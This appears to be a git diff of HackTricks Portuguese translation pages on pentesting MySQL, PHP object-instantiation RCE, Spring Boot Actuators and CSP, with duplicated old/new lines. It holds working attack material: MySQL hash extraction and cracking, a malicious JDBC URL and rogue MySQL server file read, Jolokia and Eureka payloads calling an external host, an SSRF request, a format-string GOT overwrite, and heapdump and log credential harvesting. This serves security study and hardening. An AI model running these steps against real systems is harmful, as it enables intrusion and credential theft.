Dentro do arquivo: _/var/lib/mysql/mysql/user.MYD_ você pode encontrar **todos os hashes dos usuários MySQL** (os que você pode extrair de mysql.user dentro do banco de dados).
Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **todos os hashes dos usuários do MySQL** (aqueles que você pode extrair de mysql.user dentro do banco de dados)_._
Você pode extraí-los fazendo:
Você pode extraí-los executando:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### Habilitando logging
### Habilitar logging
Você pode habilitar o registro de queries do mysql em `/etc/mysql/my.cnf` descomentando as seguintes linhas:
Você pode habilitar o registro de consultas do mysql dentro de `/etc/mysql/my.cnf` descomentando as linhas a seguir:
![](<../images/image (899).png>)
### Arquivos úteis
Configuration Files
Arquivos de Configuração
- windows \*
- config.ini
@ -296,14 +298,14 @@ Configuration Files
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- Command History
- Histórico de Comandos
- \~/.mysql.history
- Log Files
- Arquivos de Log
- connections.log
- update.log
- common.log
## Banco de Dados/Tabelas padrão do MySQL
## Bancos de Dados/Tabelas Padrão do MySQL
{{#tabs}}
{{#tab name="information_schema"}}
@ -614,7 +616,7 @@ x$user\_summary\_by\_file\_io\
x$user_summary_by_file_io_type\
x$user\_summary\_by\_stages\
x$user_summary_by_statement_latency\
x$user\_summary_by_statement\_type\
x$user\_summary\_by\_statement\_type\
x$wait_classes_global_by_avg_latency\
x$wait\_classes\_global\_by\_latency\
x$waits_by_host_by_latency\
@ -623,7 +625,7 @@ x$waits_global_by_latency
{{#endtab}}
{{#endtabs}}
## Comandos automáticos do HackTricks
## Comandos Automáticos do HackTricks
```
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
@ -654,36 +656,36 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 Destaques (novo)
## Destaques 2023-2025 (novos)
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
A partir do Connector/J <= 8.0.32, um atacante que consiga influenciar a **JDBC URL** (por exemplo em software de terceiros que solicita uma string de conexão) pode requisitar que classes arbitrárias sejam carregadas no lado do *client* através do parâmetro `propertiesTransform`. Se um gadget presente no class-path puder ser carregado, isso resulta em **remote code execution in the context of the JDBC client** (pre-auth, porque não são necessárias credenciais válidas). Um PoC mínimo fica assim:
A partir do Connector/J <= 8.0.32 um atacante que consiga influenciar o **JDBC URL** (por exemplo em software de terceiros que solicita uma connection string) pode solicitar que classes arbitrárias sejam carregadas no *client* side via o parâmetro `propertiesTransform`. Se um gadget presente no class-path puder ser carregado, isso resulta em **remote code execution in the context of the JDBC client** (pre-auth, porque nenhuma credencial válida é necessária). Um PoC mínimo fica assim:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Executar `Evil.class` pode ser tão simples quanto colocá-lo no class-path da aplicação vulnerável ou permitir que um servidor MySQL rogue envie um objeto serializado malicioso. O problema foi corrigido no Connector/J 8.0.33 – atualize o driver ou defina explicitamente `propertiesTransform` em uma allow-list.
Executar `Evil.class` pode ser tão simples quanto colocá-lo no class-path da aplicação vulnerável ou permitir que um servidor MySQL rogue envie um objeto serializado malicioso. O problema foi corrigido no Connector/J 8.0.33 – atualize o driver ou configure explicitamente `propertiesTransform` em uma allow-list.
(Veja o write-up da Snyk para detalhes)
### Ataques de servidores MySQL rogue/fake contra clientes JDBC
### Ataques Rogue / Fake de servidores MySQL contra clientes JDBC
Várias ferramentas open-source implementam um protocolo MySQL *parcial* para atacar clientes JDBC que fazem conexões externas:
* **mysql-fake-server** (Java, suporta leitura de arquivo e exploits de desserialização)
* **rogue_mysql_server** (Python, capacidades similares)
* **mysql-fake-server** (Java, supports file read and deserialization exploits)
* **rogue_mysql_server** (Python, similar capabilities)
Caminhos de ataque típicos:
1. A aplicação vítima carrega `mysql-connector-j` com `allowLoadLocalInfile=true` ou `autoDeserialize=true`.
2. O atacante controla DNS / entradas de host de modo que o hostname do DB resolva para uma máquina sob seu controle.
3. O servidor malicioso responde com pacotes forjados que acionam `LOCAL INFILE` para leitura arbitrária de arquivos ou desserialização Java → RCE.
2. O atacante controla DNS / host entry para que o hostname do DB resolva para uma máquina sob seu controle.
3. O servidor malicioso responde com pacotes forjados que disparam ou `LOCAL INFILE` para leitura arbitrária de arquivos ou Java deserialization → RCE.
Exemplo de one-liner para iniciar um servidor fake (Java):
Exemplo de one-liner para iniciar um fake server (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Então aponte a aplicação vítima para `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leia `/etc/passwd` codificando o nome do arquivo em base64 no campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
Em seguida, aponte a aplicação vítima para `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leia `/etc/passwd` codificando o nome do arquivo em base64 no campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0 armazena hashes de senha como **`$mysql-sha2$`** (SHA-256). Ambos Hashcat (mode **21100**) e John-the-Ripper (`--format=mysql-sha2`) suportam offline cracking desde 2023. Extraia a coluna `authentication_string` e alimente-a diretamente:
MySQL ≥ 8.0 armazena os hashes de senha como **`$mysql-sha2$`** (SHA-256). Tanto o Hashcat (mode **21100**) quanto o John-the-Ripper (`--format=mysql-sha2`) suportam cracking offline desde 2023. Extraia a coluna `authentication_string` e alimente-a diretamente:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -693,11 +695,11 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Checklist de hardening (2025)
• Set **`LOCAL_INFILE=0`** and **`--secure-file-priv=/var/empty`** para eliminar a maioria das primitivas de leitura/escrita de arquivo.
• Defina **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** para eliminar a maioria dos primitivos de leitura/gravação de arquivos.
• Remova o privilégio **`FILE`** das contas de aplicação.
• No Connector/J configure `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vazio).
• Desative plugins de autenticação não utilizados e **exija TLS** (`require_secure_transport = ON`).
• Monitore por `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e por comandos `SET GLOBAL` súbitos.
• No Connector/J, configure `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vazio).
• Desative plugins de autenticação não usados e **exija TLS** (`require_secure_transport = ON`).
• Monitore por `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e por declarações `SET GLOBAL` súbitas.
---

50
src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
View File

@ -1,4 +1,4 @@
# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
# PHP - RCE abusando da criação de objetos: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}}
@ -6,11 +6,11 @@ Isto é basicamente um resumo de [https://swarm.ptsecurity.com/exploiting-arbitr
## Introdução
A criação de objetos arbitrários, como `new $_GET["a"]($_GET["a"])`, pode levar a Remote Code Execution (RCE), conforme detalhado em um [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca várias estratégias para alcançar RCE.
A criação de novos objetos arbitrários, como `new $_GET["a"]($_GET["a"])`, pode levar a Remote Code Execution (RCE), como detalhado em um [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca várias estratégias para alcançar RCE.
## RCE via Classes Personalizadas ou Autoloading
A sintaxe `new $a($b)` é usada para instanciar um objeto onde **`$a`** representa o nome da classe e **`$b`** é o primeiro argumento passado ao construtor. Essas variáveis podem ser originadas de entradas do usuário como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem aparecer como outros tipos.
A sintaxe `new $a($b)` é usada para instanciar um objeto onde **`$a`** representa o nome da classe e **`$b`** é o primeiro argumento passado para o construtor. Essas variáveis podem vir de entradas do usuário como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem aparecer como outros tipos.
Considere o trecho de código abaixo:
```php
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
Neste caso, definir `$a` para `App` ou `App2` e `$b` para um comando do sistema (por exemplo, `uname -a`) resulta na execução desse comando.
Neste caso, atribuir `$a` a `App` ou `App2` e `$b` a um comando do sistema (por exemplo, `uname -a`) resulta na execução desse comando.
**Funções de carregamento automático** podem ser exploradas se tais classes não estiverem diretamente acessíveis. Essas funções carregam automaticamente classes de arquivos quando necessário e são definidas usando `spl_autoload_register` ou `__autoload`:
**Funções de autoloading** podem ser exploradas se tais classes não estiverem diretamente acessíveis. Essas funções carregam automaticamente classes a partir de arquivos quando necessário e são definidas usando `spl_autoload_register` ou `__autoload`:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -47,25 +47,25 @@ spl_autoload_register();
```
O comportamento do autoloading varia entre versões do PHP, oferecendo diferentes possibilidades de RCE.
## RCE via Classes integradas
## RCE via Classes internas
Na ausência de classes customizadas ou autoloaders, **built-in PHP classes** podem ser suficientes para RCE. O número dessas classes varia entre 100 e 200, dependendo da versão do PHP e das extensões. Elas podem ser listadas usando `get_declared_classes()`.
Na ausência de classes customizadas ou autoloaders, **classes internas do PHP** podem ser suficientes para RCE. O número dessas classes varia entre 100 a 200, dependendo da versão do PHP e das extensões. Elas podem ser listadas usando `get_declared_classes()`.
Construtores de interesse podem ser identificados através da Reflection API, como mostrado no exemplo a seguir e no link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
Construtores de interesse podem ser identificados através da API de reflexão, como mostrado no exemplo a seguir e no link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**RCE via specific methods includes:**
**RCE via métodos específicos inclui:**
### **SSRF + Phar Deserialization**
A classe `SplFileObject` possibilita SSRF através de seu construtor, permitindo conexões a qualquer URL:
A classe `SplFileObject` permite SSRF através do seu construtor, possibilitando conexões para qualquer URL:
```php
new SplFileObject('http://attacker.com/');
```
SSRF pode levar a ataques de desserialização em versões do PHP anteriores à 8.0 usando o protocolo Phar.
### **Explorando PDOs**
### **Exploiting PDOs**
O construtor da classe PDO permite conexões a bancos de dados via strings DSN, potencialmente possibilitando a criação de arquivos ou outras interações:
O construtor da classe PDO permite conexões com bancos de dados via DSN strings, potencialmente possibilitando criação de arquivos ou outras interações:
```php
new PDO("sqlite:/tmp/test.txt")
```
@ -75,44 +75,44 @@ Versões do PHP até 5.3.22 e 5.4.12 eram suscetíveis a ataques XXE através do
## RCE via Extensão Imagick
Na análise das **dependências do projeto**, descobriu-se que **Imagick** poderia ser aproveitado para **execução de comandos** ao instanciar novos objetos. Isso apresenta uma oportunidade para explorar vulnerabilidades.
Na análise das **dependências do projeto**, foi descoberto que o **Imagick** poderia ser aproveitado para **execução de comandos** ao instanciar novos objetos. Isso representa uma oportunidade para explorar vulnerabilidades.
### VID parser
Foi identificada a capacidade do parser VID de gravar conteúdo em qualquer caminho especificado no sistema de arquivos. Isso pode levar à colocação de um shell PHP em um diretório acessível via web, alcançando Remote Code Execution (RCE).
Foi identificada a capacidade do parser VID de gravar conteúdo em qualquer caminho especificado no sistema de arquivos. Isso pode levar ao posicionamento de um shell PHP em um diretório acessível via web, alcançando Execução Remota de Código (RCE).
#### VID Parser + Upload de Arquivo
#### VID Parser + File Upload
Observa-se que o PHP armazena temporariamente arquivos enviados em `/tmp/phpXXXXXX`. O parser VID no Imagick, utilizando o protocolo **msl**, pode tratar curingas em caminhos de arquivo, facilitando a transferência do arquivo temporário para um local escolhido. Esse método oferece uma abordagem adicional para gravar arquivos arbitrários no sistema de arquivos.
Observa-se que o PHP armazena temporariamente arquivos enviados em `/tmp/phpXXXXXX`. O parser VID no Imagick, utilizando o protocolo **msl**, pode lidar com curingas em caminhos de arquivo, facilitando a transferência do arquivo temporário para um local escolhido. Esse método oferece uma abordagem adicional para realizar escrita arbitrária de arquivos no sistema de arquivos.
### PHP Crash + Brute Force
Um método descrito no [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) envolve o upload de arquivos que causam um crash do servidor antes da exclusão. Ao brute-forcear o nome do arquivo temporário, torna-se possível que o Imagick execute código PHP arbitrário. Contudo, essa técnica foi eficaz apenas em uma versão desatualizada do ImageMagick.
Um método descrito no [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) envolve fazer upload de arquivos que provocam um crash do servidor antes da exclusão. Ao brute-forcing o nome do arquivo temporário, torna-se possível que o Imagick execute código PHP arbitrário. No entanto, essa técnica mostrou-se eficaz apenas em uma versão desatualizada do ImageMagick.
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
Quando a entrada do usuário controla o nome da classe (p.ex., `new $_GET['model']()`), o PHP 7.0.0 introduziu um bug transitório durante o refactor do `Throwable` onde o engine tratava erroneamente o nome da classe como uma string de formato do printf durante a resolução. Isso habilita primitivas clássicas do estilo printf dentro do PHP: leaks com `%p`, controle de contagem de escrita com especificadores de largura, e escritas arbitrárias com `%n` contra ponteiros em processo (por exemplo, entradas GOT em builds ELF).
Quando a entrada do usuário controla o nome da classe (e.g., `new $_GET['model']()`), o PHP 7.0.0 introduziu um bug transitório durante o refactor de `Throwable` em que o engine tratava erroneamente o nome da classe como uma string de formato do printf durante a resolução. Isso habilita primitivas clássicas do estilo printf dentro do PHP: leaks com `%p`, controle da contagem de escrita com especificadores de largura, e escritas arbitrárias com `%n` contra ponteiros em processo (por exemplo, entradas GOT em builds ELF).
Padrão mínimo de reprodução vulnerável:
Minimal repro vulnerable pattern:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
Resumo da exploração (a partir da referência):
Esquema de exploração (da referência):
- Leak endereços via `%p` no nome da classe para encontrar um alvo gravável:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- Use parâmetros posicionais e especificadores de largura para definir um número exato de bytes, depois `%n` para escrever esse valor em um endereço acessível na stack, mirando em um slot da GOT (por exemplo, `free`) para sobrescrevê-lo parcialmente para `system`.
- Dispare a função sequestrada passando um nome de classe contendo um pipe de shell para alcançar `system("id")`.
- Use parâmetros posicionais e especificadores de largura para definir uma contagem exata de bytes, então `%n` para escrever esse valor em um endereço acessível na stack, mirando em um slot GOT (ex., `free`) para sobrescrevê‑lo parcialmente para `system`.
- Dispare a função hijacked passando um nome de classe contendo um pipe de shell para alcançar `system("id")`.
Notas:
- Funciona apenas no PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); corrigido nas versões posteriores. Severidade: crítica se existir instanciação arbitrária de classes.
- Payloads típicos encadeiam muitos `%p` para percorrer a stack, depois `%.<width>d%<pos>$n` para provocar a sobrescrição parcial.
- Funciona apenas no PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); corrigido em lançamentos subsequentes. Severidade: crítica se houver instanciação arbitrária de classes.
- Payloads típicos encadeiam muitos `%p` para percorrer a stack, então `%.<width>d%<pos>$n` para efetuar a sobrescrita parcial.
## References
## Referências
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)

70
src/network-services-pentesting/pentesting-web/spring-actuators.md
View File

@ -6,30 +6,30 @@
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
**De** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Explorando Spring Boot Actuators
**Confira o post original em** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **Pontos-chave:**
### **Pontos principais:**
- Spring Boot Actuators registram endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. Nas versões 1 até 1.4, esses endpoints ficam acessíveis sem autenticação. A partir da versão 1.5, apenas `/health` e `/info` são não sensíveis por padrão, mas desenvolvedores frequentemente desabilitam essa segurança.
- Spring Boot Actuators registram endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. Nas versões 1 até 1.4, esses endpoints são acessíveis sem autenticação. A partir da versão 1.5, apenas `/health` e `/info` são não sensíveis por padrão, mas desenvolvedores frequentemente desativam essa segurança.
- Certos endpoints do Actuator podem expor dados sensíveis ou permitir ações prejudiciais:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, e `/heapdump`.
- No Spring Boot 1.x, os actuators são registrados no root URL, enquanto no 2.x eles ficam sob o base path `/actuator/`.
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
- No Spring Boot 1.x, actuators são registrados sob a URL raiz, enquanto no 2.x, eles ficam sob o caminho base `/actuator/`.
### **Técnicas de Exploração:**
### **Exploitation Techniques:**
1. **Remote Code Execution via '/jolokia'**:
- O endpoint `/jolokia` do actuator expõe a Jolokia Library, que permite acesso HTTP a MBeans.
- A action `reloadByURL` pode ser explorada para recarregar configurações de logging a partir de uma URL externa, o que pode levar a blind XXE ou Remote Code Execution via configurações XML maliciosas.
- Exemplo de URL de exploit: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Modificação de Config via '/env'**:
- O endpoint `/jolokia` expõe a Jolokia Library, que permite acesso HTTP a MBeans.
- A ação `reloadByURL` pode ser explorada para recarregar configurações de logging a partir de uma URL externa, o que pode levar a blind XXE ou Remote Code Execution via configurações XML forjadas.
- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
- Se as Spring Cloud Libraries estiverem presentes, o endpoint `/env` permite a modificação de propriedades de ambiente.
- Propriedades podem ser manipuladas para explorar vulnerabilidades, como a vulnerabilidade de deserialização do XStream no Eureka serviceURL.
- Exemplo de requisição POST de exploit:
- Se as Spring Cloud Libraries estiverem presentes, o endpoint `/env` permite modificação de propriedades de ambiente.
- Propriedades podem ser manipuladas para explorar vulnerabilidades, como a vulnerabilidade de desserialização do XStream no serviceURL do Eureka.
- Example exploit POST request:
```
POST /env HTTP/1.1
@ -40,32 +40,32 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Outras Configurações Úteis**:
- Propriedades como `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, e `spring.datasource.tomcat.max-active` podem ser manipuladas para vários exploits, como SQL injection ou alteração das connection strings do banco de dados.
3. **Other Useful Settings**:
- Propriedades como `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, e `spring.datasource.tomcat.max-active` podem ser manipuladas para vários exploits, como SQL injection ou alterar strings de conexão com o banco de dados.
### **Informações Adicionais:**
- Uma lista abrangente de actuators default pode ser encontrada [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Uma lista abrangente dos actuators padrão pode ser encontrada [aqui](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- O endpoint `/env` no Spring Boot 2.x usa formato JSON para modificação de propriedades, mas o conceito geral permanece o mesmo.
### **Tópicos Relacionados:**
1. **Env + H2 RCE**:
- Detalhes sobre a exploração da combinação do endpoint `/env` e do banco H2 podem ser encontrados [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
- Detalhes sobre explorar a combinação do endpoint `/env` e do banco H2 podem ser encontrados [aqui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- O tratamento de matrix parameters (`;`) em pathnames HTTP pelo framework Spring pode ser explorado para Server-Side Request Forgery (SSRF).
- Exemplo de exploit request:
- O tratamento, pelo framework Spring, de matrix parameters (`;`) em pathnames HTTP pode ser explorado para Server-Side Request Forgery (SSRF).
- Example exploit request:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
## Mineração de segredos em HeapDump (credenciais, tokens, URLs internas)
## HeapDump secrets mining (credentials, tokens, internal URLs)
Se `/actuator/heapdump` estiver exposto, normalmente é possível recuperar um snapshot completo do heap da JVM que frequentemente contém segredos em uso (credenciais de BD, chaves de API, Basic-Auth, URLs de serviços internos, mapas de propriedades do Spring, etc.).
If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).
- Baixar e triagem rápida:
- Download and quick triage:
```bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
@ -75,7 +75,7 @@ printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
```
- Análise mais profunda com VisualVM e OQL:
- Abra o heapdump no VisualVM, inspecione instâncias de `java.lang.String` ou execute OQL para buscar segredos:
- Abra o heapdump no VisualVM, inspecione instâncias de `java.lang.String` ou execute OQL para caçar segredos:
```
select s.toString()
from java.lang.String s
@ -86,21 +86,21 @@ where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|Or
```bash
java -jar JDumpSpider-*.jar heapdump
```
Achados de alto valor típicos:
Achados típicos de alto valor:
- Objetos Spring `DataSourceProperties` / `HikariDataSource` expondo `url`, `username`, `password`.
- Entradas `OriginTrackedMapPropertySource` revelando `management.endpoints.web.exposure.include`, portas de serviço e Basic-Auth embutido em URLs (por ex., Eureka `defaultZone`).
- Fragmentos simples de requisições/respostas HTTP incluindo `Authorization: Basic ...` capturados na memória.
- Entradas `OriginTrackedMapPropertySource` revelando `management.endpoints.web.exposure.include`, portas de serviço e Basic-Auth embutido em URLs (por exemplo, Eureka `defaultZone`).
- Fragmentos em texto plano de requisições/respostas HTTP incluindo `Authorization: Basic ...` capturados na memória.
Dicas:
- Use uma wordlist focada em Spring para descobrir endpoints do actuator rapidamente (por ex., SecLists spring-boot.txt) e sempre verifique se `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` e `/actuator/configprops` também estão expostos.
- Credenciais do heapdump frequentemente funcionam para serviços adjacentes e às vezes para usuários do sistema (SSH), então teste-as amplamente.
- Use uma wordlist focada em Spring para descobrir endpoints do actuator rapidamente (por exemplo, SecLists spring-boot.txt) e sempre verifique se `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` e `/actuator/configprops` também estão expostos.
- Credenciais do heapdump frequentemente funcionam para serviços adjacentes e às vezes para usuários do sistema (SSH), então teste amplamente.
## Abusar de loggers/logging do Actuator para capturar credenciais
## Abusing Actuator loggers/logging to capture credentials
Se `management.endpoints.web.exposure.include` permitir e `/actuator/loggers` estiver exposto, você pode aumentar dinamicamente os níveis de log para DEBUG/TRACE em pacotes que tratam autenticação e processamento de requisições. Combinado com logs legíveis (via `/actuator/logfile` ou caminhos de log conhecidos), isso pode vazar credenciais submetidas durante fluxos de login (por ex., cabeçalhos Basic-Auth ou parâmetros de formulário).
If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).
- Enumere e aumente os loggers sensíveis:
- Enumere e aumente loggers sensíveis:
```bash
# List available loggers
curl -s http://target/actuator/loggers | jq .
@ -114,7 +114,7 @@ curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
```
- Encontre onde os logs são escritos e colete-os:
- Encontre onde os logs são escritos e colete:
```bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
@ -123,10 +123,10 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```
- Dispare tráfego de login/autenticação e analise os logs em busca de credenciais. Em arquiteturas de microservices com um gateway na frente da autenticação, habilitar TRACE para pacotes de gateway/segurança frequentemente torna cabeçalhos e corpos de formulário visíveis. Alguns ambientes até geram tráfego de login sintético periodicamente, tornando a coleta trivial uma vez que o logging esteja verboso.
- Gere tráfego de login/autenticação e analise o log em busca de creds. Em setups de microserviços com um gateway na frente da autenticação, habilitar TRACE para pacotes de gateway/security frequentemente torna headers e corpos de formulário visíveis. Alguns ambientes até geram tráfego de login sintético periodicamente, tornando a coleta trivial uma vez que os logs estão verbosos.
Observações:
- Restaure os níveis de log quando terminar: `POST /actuator/loggers/<logger>` com `{ "configuredLevel": null }`.
Notas:
- Restaure os níveis de log ao terminar: `POST /actuator/loggers/<logger>` com `{ "configuredLevel": null }`.
- Se `/actuator/httpexchanges` estiver exposto, ele também pode expor metadados de requisições recentes que podem incluir cabeçalhos sensíveis.

296
src/pentesting-web/content-security-policy-csp-bypass/README.md
View File

@ -1,12 +1,12 @@
# Política de Segurança de Conteúdo (CSP) Bypass
# Content Security Policy (CSP) Bypass
{{#include ../../banners/hacktricks-training.md}}
## O que é CSP
Content Security Policy (CSP) é reconhecida como uma tecnologia do browser, destinada principalmente a **proteger contra ataques como cross-site scripting (XSS)**. Ela funciona definindo e detalhando caminhos e fontes de onde recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos como imagens, frames e JavaScript. Por exemplo, uma policy pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout`, ou `setInterval`.
Content Security Policy (CSP) é reconhecida como uma tecnologia de navegador, destinada principalmente a **proteger contra ataques como cross-site scripting (XSS)**. Ela funciona definindo e detalhando caminhos e fontes das quais recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout`, ou `setInterval`.
A implementação do CSP é feita através de **cabeçalhos de resposta** ou pela inclusão de **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas disposições e bloqueiam imediatamente quaisquer violações detectadas.
A implementação do CSP é feita por meio de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas determinações e bloqueiam imediatamente quaisquer violações detectadas.
- Implementado via cabeçalho de resposta:
```
@ -18,14 +18,14 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
```
### Cabeçalhos
CSP pode ser aplicado ou monitorado usando estes cabeçalhos:
O CSP pode ser aplicado ou monitorado usando estes cabeçalhos:
- `Content-Security-Policy`: Aplica a CSP; o navegador bloqueia quaisquer violações.
- `Content-Security-Policy-Report-Only`: Usado para monitoramento; reporta violações sem bloqueá-las. Ideal para testes em ambientes de pré-produção.
- `Content-Security-Policy`: Aplica o CSP; o navegador bloqueia quaisquer violações.
- `Content-Security-Policy-Report-Only`: Usado para monitoramento; reporta violações sem bloqueá-las. Ideal para testar em ambientes de pré-produção.
### Definindo Recursos
CSP restringe as origens para o carregamento de conteúdo ativo e passivo, controlando aspectos como a execução de JavaScript inline e o uso de `eval()`. Um exemplo de política é:
O CSP restringe as origens para carregamento de conteúdo ativo e passivo, controlando aspectos como a execução de JavaScript inline e o uso de `eval()`. Um exemplo de política é:
```bash
default-src 'none';
img-src 'self';
@ -39,37 +39,37 @@ object-src 'none';
```
### Diretivas
- **script-src**: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de eventos ou folhas de estilo XSLT.
- **default-src**: Define uma política padrão para busca de recursos quando diretivas específicas de fetch estão ausentes.
- **script-src**: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de evento ou folhas de estilo XSLT.
- **default-src**: Define uma política padrão para buscar recursos quando diretivas específicas de fetch estiverem ausentes.
- **child-src**: Especifica recursos permitidos para web workers e conteúdos de frames embutidos.
